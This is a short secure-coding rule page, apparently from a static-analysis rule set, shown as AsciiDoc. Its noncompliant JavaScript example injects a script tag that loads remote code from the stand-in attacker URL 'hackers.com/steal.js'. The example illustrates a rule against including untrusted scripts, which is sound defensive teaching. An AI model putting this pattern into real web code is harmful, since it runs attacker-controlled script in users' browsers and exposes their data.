2020-06-30 17:16:12 +02:00

16 lines
329 B
Plaintext

include::../description.adoc[]
== Noncompliant Code Example
----
function include(url) {
var s = document.createElement("script");
s.setAttribute("type", "text/javascript");
s.setAttribute("src", url);
document.body.appendChild(s);
}
include("http://hackers.com/steal.js") // Noncompliant
----
include::../see.adoc[]